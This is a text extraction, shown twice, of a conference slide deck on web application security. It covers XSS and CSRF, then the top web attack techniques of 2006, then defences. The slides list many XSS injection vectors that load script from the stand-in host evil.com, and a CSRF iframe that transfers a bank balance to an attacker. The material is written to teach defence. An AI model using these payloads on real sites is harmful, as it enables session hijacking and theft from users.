5 Stages of Web
Application Security Grief

         Bargaining
         Depression
         Acceptance


                             2
Network security solutions don't
work for web application security

Telnet


 FTP


 POP

                           App Servers
http(s)

            Web Servers
                            Database


                                         3
8 out of 10 Websites
         are
     Vulnerable


                       4
The Victims


The companies that host the Applications
The users that use the Applications




                                           5
Building Blocks: XSS

         XSS = Cross Site Scripting


You are at risk of an XSS attack any time you
 allow scripts from someone untrusted into
           pages from your domain




                                                6
Building Blocks: XSS

You let the user enter their name
Someone is going to enter their name like this:
Joe<script src="evil.com/danger.js">

Then, whoever looks at Joe’s name will execute
Joe’s script and become a slave of Joe




                                                  7
Making User Input Safe


You filter out ‘<script.*>’ and then you’re safe.
Right?




                                                   8
Making User Input Safe

Actually you also need to filter:
<a href='javascript:danger();'>

<body onload='danger();'>

<p style='background-image:
    url("javascript:danger();")');

<img src='javascript:danger()'/>




                                     9
Making User Input Safe
And don’t forget:
<body background="javascript:danger()">

<link rel="stylesheet"
    href="javascript:danger()"/>

<style>@import evil.com/danger.js</style>

<input type='image'
    src='javascript:danger()'/>




                                            10
Making User Input Safe
And then there’s:
<iframe src='evil.com/danger.html'/>

<meta http-equiv="refresh"
content="0;url=javascript:danger()">

<base href="javascript:danger()">

<frameset>
    <frame src="javascript:danger()">...




                                           11
Making User Input Safe

But remember:
<table background="javascript:danger()">

<tr background="javascript:danger()">

<div style="width:expression(danger();)">

<object type="text/x-scriptlet"
    data="evil.com/danger.js">

                             13
Making User Input Safe
It’s made 1000 times worse by browsers being
able to make sense of virtually anything.
This:
<a href="a.html" link</a>


makes perfect sense to a browser.

Making User Input Safe
It’s made 1000 times worse by browsers being
able to make sense of virtually anything.
This: (depending on some encoding tricks)
¼a href="a.html"¾link¼/a¾


makes perfect sense to a browser.



                                               17
Making User Input Safe
And we haven’t got into:
  • Flash (ActionScript ~= JavaScript)
  • SVG (can embed JavaScript)
  • .htc (packaged HTML in IE)
  • XML Data Islands (IE only)
  • HTML+TIME
You can use both <object> and <embed> for many
of these

                             19
Building Blocks: CSRF

     CSRF = Cross Site Request Forgery


You are at risk of a CSRF attack whenever you
     assume that a request containing an
    authentication header (e.g. cookies) is
         something the user intended



                                                20
Building Blocks: CSRF
          bank.com                   evil.com
                                          .
       Welcome Fred,
       Thank-you for logging in




<iframe width=0 height=0
  src="http://bank.com/transfer.cgi?amnt=all&dest=MrEvil"/>


                                                              21
Building Blocks: CSRF
JavaScript is not always required to exploit a
CSRF hole
Often all you need is:
  <iframe src="dangerous_url">
  or <img src="dangerous_url"/>
  or <script src="dangerous_url">

You can’t use XHR because cross-domain rules
prevent the request from being sent


                                                 22
Attacks only get more
      Effective
70 new new attack techniques in 2006
Many are small, but they combine in worrying
ways
Jeremiah’s Top 10:
  http://jeremiahgrossman.blogspot.com/2006/12/
  top-10-web-hacks-of-2006.html
The 6 most important ...


                                                  23
6. Hacking RSS Readers


              }                        ⇢
                Aggregators generally               Users get
RSS Feeds
                 change the domain                  the result

        Hacking RSS and Atom Feed Implementations
     http://www.cgisecurity.com/papers/HackingFeeds.pdf
                                                                 24
5. Web Worms
If your site that isn’t 100% safe against XSS and CSRF,
users can attack their ‘friends’ with scripts




XHR/Flash/Quicktime can be used as a vector
Web worms grow much faster than email worms
So far, infections have been mostly benign, like how
email worms were in the early 90’s ...

                                                          25
4. Backdooring Media Files

   Many media types are scriptable by design:


   Some are ‘scriptable’ by buffer-overflow:


   If you are allowing users to upload files, be
   afraid.
                     JavaScript Malware embedded in everything
http://jeremiahgrossman.blogspot.com/2006/09/javascript-malware-embedded-in.html

                                                                                   26
3. History Stealing - Part 1
 I want to know if you visit dodgy.com
 I create a page with a link
    and use a script to read the CSS link color:
   purple:guilty, blue:not guilty
 A page can quickly check thousands
   of sites
 http://ha.ckers.org/weird/CSS-history-hack.html



                                                   27
3. History Stealing - Part 2

 Point a script tag at a protected HTML
 resource, detect differing replies by differing
 error messages
 <script src="http://mail.google.com/mail">

 http://ha.ckers.org/weird/javascript-website-login-checker.html




                                                                   28
2. Anti-DNS Pinning
The basic attack:
A browser visits evil.com. The DNS lookup gives the real web-
server address.
1 second later evil.com creates an iframe to the evil.com and
drops the HTTP request
The DNS pin is dropped, the browser needs to look up DNS
again.
This time it gets someone else’s address.
The browser reads from the other site, but thinks it is the same
domain.



                                                                   29
2. Anti-DNS Pinning
As it is the attack isn’t very useful because:
• The browser thinks the domain is evil.com, so
 cookies for innocent.com are not sent, cookie
 protected resources are safe (for now)
• But it’s great for Intranet hacking - no cookies
 are needed to read from 192.168.0.1 or
 127.0.0.1



                                                     30
1. Intranet Hacking
History stealing to enumerate hosts inside the
firewall
Anti-DNS pinning to read HTML from inside
Many routers / firewalls / etc have default
passwords, which an attacker can exploit
Use CSRF to alter router / firewall settings

                                                                                      31
5 Stages of Web
Application Security Grief
           Denial
           Anger
         Bargaining
         Depression
         Acceptance


                             32
Fixing XSS
             (when HTML is Illegal)

1. Filter inputs by white-listing input characters
  Remember to filter header names and values
2. Filter outputs for the display environment
  For HTML:
    &    &amp;    <   &lt;   >   &gt;
     '   &apos;   "   &quot;

  Other environments have other special chars


                                                     33
Fixing XSS
   (when HTML is Legal, and Well Formed)

1. Filter inputs as before
2. Swap characters for entities (as before)
3. Swap back whitelist of allowed tags. e.g.:
  &lt;strong&gt;    <strong>

4. Take extra care over attributes:
  s/&lta href=&quot;([^&]*)&quot;/&gt;/<a href="$1"/>

5. Don’t use regular expressions

                                                           34
Fixing XSS
(when HTML is Legal, and NOT Well Formed)

1. Find another way to do it / Swap jobs / Find
some other solution to the problem
2. Create a tag soup parser to create a DOM
tree from a badly formed HTML document
  Remember to recursively check encodings
3. Create a tree walker that removes all non
approved elements and attributes


                                                  35
Fixing CSRF
Force users to log off
Checking referrer headers doesn’t make things
safe, but it does slow attackers down
Include authentication tokens in the body
  OWASP servlet filter
  Double-submit cookie pattern

Rich Web App Security - Keeping your application safe

  • 1. Rich Web App Security Keeping your application safe Jeremiah Grossman Joe Walker Founder and CTO DWR Developer WhiteHat Security Getahead 1
  • 2. 5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 2
  • 3. Network security solutions don't work for web application security Telnet FTP POP App Servers http(s) Web Servers Database 3
  • 4. 8 out of 10 Websites are Vulnerable 4
  • 5. The Victims The companies that host the Applications The users that use the Applications 5
  • 6. Building Blocks: XSS XSS = Cross Site Scripting You are at risk of an XSS attack any time you allow scripts from someone untrusted into pages from your domain 6
  • 7. Building Blocks: XSS You let the user enter their name Someone is going to enter their name like this: Joe<script src="evil.com/danger.js"> Then, whoever looks at Joe’s name will execute Joe’s script and become a slave of Joe 7
  • 8. Making User Input Safe You filter out ‘<script.*>’ and then you’re safe. Right? 8
  • 9. Making User Input Safe Actually you also need to filter: <a href='javascript:danger();'> <body onload='danger();'> <p style='background-image: url("javascript:danger();")'); <img src='javascript:danger()'/> 9
  • 10. Making User Input Safe And don’t forget: <body background="javascript:danger()"> <link rel="stylesheet" href="javascript:danger()"/> <style>@import evil.com/danger.js</style> <input type='image' src='javascript:danger()'/> 10
  • 11. Making User Input Safe And then there’s: <iframe src='evil.com/danger.html'/> <meta http-equiv="refresh" content="0;url=javascript:danger()"> <base href="javascript:danger()"> <frameset> <frame src="javascript:danger()">... 11
  • 12. Making User Input Safe But remember: <table background="javascript:danger()"> <tr background="javascript:danger()"> <div style="width:expression(danger();)"> <object type="text/x-scriptlet" data="evil.com/danger.js"> 12
  • 13. 5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 13
  • 14. Making User Input Safe It’s made 1000 times worse by browsers being able to make sense of virtually anything. This: <a href="a.html" link</a> makes perfect sense to a browser. 14
  • 15. Making User Input Safe It’s made 1000 times worse by browsers being able to make sense of virtually anything. This: <a href="a.html">link makes perfect sense to a browser. 15
  • 16. Making User Input Safe It’s made 1000 times worse by browsers being able to make sense of virtually anything. This: <a href="a.html >link</a> makes perfect sense to a browser. 16
  • 17. Making User Input Safe It’s made 1000 times worse by browsers being able to make sense of virtually anything. This: (depending on some encoding tricks) ¼a href="a.html"¾link¼/a¾ makes perfect sense to a browser. 17
  • 18. Making User Input Safe And we haven’t got into: • Flash (ActionScript ~= JavaScript) • SVG (can embed JavaScript) • .htc (packaged HTML in IE) • XML Data Islands (IE only) • HTML+TIME You can use both <object> and <embed> for many of these 18
  • 19. 5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 19
  • 20. Building Blocks: CSRF CSRF = Cross Site Request Forgery You are at risk of a CSRF attack whenever you assume that a request containing an authentication header (e.g. cookies) is something the user intended 20
  • 21. Building Blocks: CSRF bank.com evil.com . Welcome Fred, Thank-you for logging in <iframe width=0 height=0 src="http://bank.com/transfer.cgi?amnt=all&dest=MrEvil"/> 21
  • 22. Building Blocks: CSRF JavaScript is not always required to exploit a CSRF hole Often all you need is: <iframe src="dangerous_url"> or <img src="dangerous_url"/> or <script src="dangerous_url"> You can’t use XHR because cross-domain rules prevent the request from being sent 22
  • 23. Attacks only get more Effective 70 new new attack techniques in 2006 Many are small, but they combine in worrying ways Jeremiah’s Top 10: http://jeremiahgrossman.blogspot.com/2006/12/ top-10-web-hacks-of-2006.html The 6 most important ... 23
  • 24. 6. Hacking RSS Readers } ⇢ Aggregators generally Users get RSS Feeds change the domain the result Hacking RSS and Atom Feed Implementations http://www.cgisecurity.com/papers/HackingFeeds.pdf 24
  • 25. 5. Web Worms If your site that isn’t 100% safe against XSS and CSRF, users can attack their ‘friends’ with scripts XHR/Flash/Quicktime can be used as a vector Web worms grow much faster than email worms So far, infections have been mostly benign, like how email worms were in the early 90’s ... http://www.whitehatsec.com/downloads/WHXSSThreats.pdf 25
  • 26. 4. Backdooring Media Files Many media types are scriptable by design: Some are ‘scriptable’ by buffer-overflow: If you are allowing users to upload files, be afraid. JavaScript Malware embedded in everything http://jeremiahgrossman.blogspot.com/2006/09/javascript-malware-embedded-in.html 26
  • 27. 3. History Stealing - Part 1 I want to know if you visit dodgy.com I create a page with a link and use a script to read the CSS link color: purple:guilty, blue:not guilty A page can quickly check thousands of sites http://ha.ckers.org/weird/CSS-history-hack.html 27
  • 28. 3. History Stealing - Part 2 Point a script tag at a protected HTML resource, detect differing replies by differing error messages <script src="http://mail.google.com/mail"> http://ha.ckers.org/weird/javascript-website-login-checker.html 28
  • 29. 2. Anti-DNS Pinning The basic attack: A browser visits evil.com. The DNS lookup gives the real web- server address. 1 second later evil.com creates an iframe to the evil.com and drops the HTTP request The DNS pin is dropped, the browser needs to look up DNS again. This time it gets someone else’s address. The browser reads from the other site, but thinks it is the same domain. 29
  • 30. 2. Anti-DNS Pinning As it is the attack isn’t very useful because: • The browser thinks the domain is evil.com, so cookies for innocent.com are not sent, cookie protected resources are safe (for now) • But it’s great for Intranet hacking - no cookies are needed to read from 192.168.0.1 or 127.0.0.1 30
  • 31. 1. Intranet Hacking History stealing to enumerate hosts inside the firewall Anti-DNS pinning to read HTML from inside Many routers / firewalls / etc have default passwords, which an attacker can exploit Use CSRF to alter router / firewall settings http://www.whitehatsec.com/home/resources/presentations/files/javascript_malware.pdf 31
  • 32. 5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 32
  • 33. Fixing XSS (when HTML is Illegal) 1. Filter inputs by white-listing input characters Remember to filter header names and values 2. Filter outputs for the display environment For HTML: & &amp; < &lt; > &gt; ' &apos; " &quot; Other environments have other special chars 33
  • 34. Fixing XSS (when HTML is Legal, and Well Formed) 1. Filter inputs as before 2. Swap characters for entities (as before) 3. Swap back whitelist of allowed tags. e.g.: &lt;strong&gt; <strong> 4. Take extra care over attributes: s/&lta href=&quot;([^&]*)&quot;/&gt;/<a href="$1"/> 5. Don’t use regular expressions 34
  • 35. Fixing XSS (when HTML is Legal, and NOT Well Formed) 1. Find another way to do it / Swap jobs / Find some other solution to the problem 2. Create a tag soup parser to create a DOM tree from a badly formed HTML document Remember to recursively check encodings 3. Create a tree walker that removes all non approved elements and attributes 35
  • 36. Fixing CSRF Force users to log off Checking referrer headers doesn’t make things safe, but it does slow attackers down Include authentication tokens in the body OWASP servlet filter Double-submit cookie pattern Security Corner: Cross-Site Request Forgeries http://shiflett.org/articles/cross-site-request-forgeries 36
